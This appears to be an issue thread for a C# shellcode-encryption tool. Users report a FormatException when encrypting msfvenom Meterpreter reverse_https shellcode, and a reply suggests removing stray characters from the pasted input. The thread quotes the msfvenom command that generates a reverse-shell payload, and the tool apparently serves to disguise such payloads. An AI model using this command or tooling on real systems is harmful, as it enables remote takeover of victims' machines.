Error when trying to encrypt

[denisesaghCO]

I followed your instructions but when I am trying to encrypt the csharp shellcode from "msfvenom windows/meterpreter/reverse_https LHOST=X.X.X.X LPORT=XXXX -f csharp" I am getting an error.

Error Output: System.FormatException: Could not find any recognizable digits. at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags, System.Int32& currPos) [0x00165] in :0 at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags) [0x00002] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at System.Convert.ToByte (System.String value, System.Int32 fromBase) [0x00037] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at WindowsFormsApp1.Form1.hexStrToByteArray (System.String[] hexStr) [0x00028] in <b86e1328ce6f483b80c96d3c16192de3>:0 at WindowsFormsApp1.Form1.buton1_click (System.Object sender, System.EventArgs e) [0x00075] in <b86e1328ce6f483b80c96d3c16192de3>:0 at System.Windows.Forms.Control.OnClick (System.EventArgs e) [0x0001c] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnClick (System.EventArgs e) [0x00024] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00081] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WmLButtonUp (System.Windows.Forms.Message& m) [0x0007e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WndProc (System.Windows.Forms.Message& m) [0x0016f] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.WndProc (System.Windows.Forms.Message& m) [0x0004e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.WndProc (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlWindowTarget.OnMessage (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlNativeWindow.WndProc (System.Windows.Forms.Message& m) [0x0000b] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.NativeWindow.WndProc (System.IntPtr hWnd, System.Windows.Forms.Msg msg, System.IntPtr wParam, System.IntPtr lParam) [0x0008e] in <0e1823914d7643eeaf1207febb083a4a>:0

Do you have the same output with the default values ?

I have the same problem. It only works with the default payload

Since it works with the default payload then you might paste some bad chars in the input text box. Try to avoid spaces etc, when copy and paste to the text box
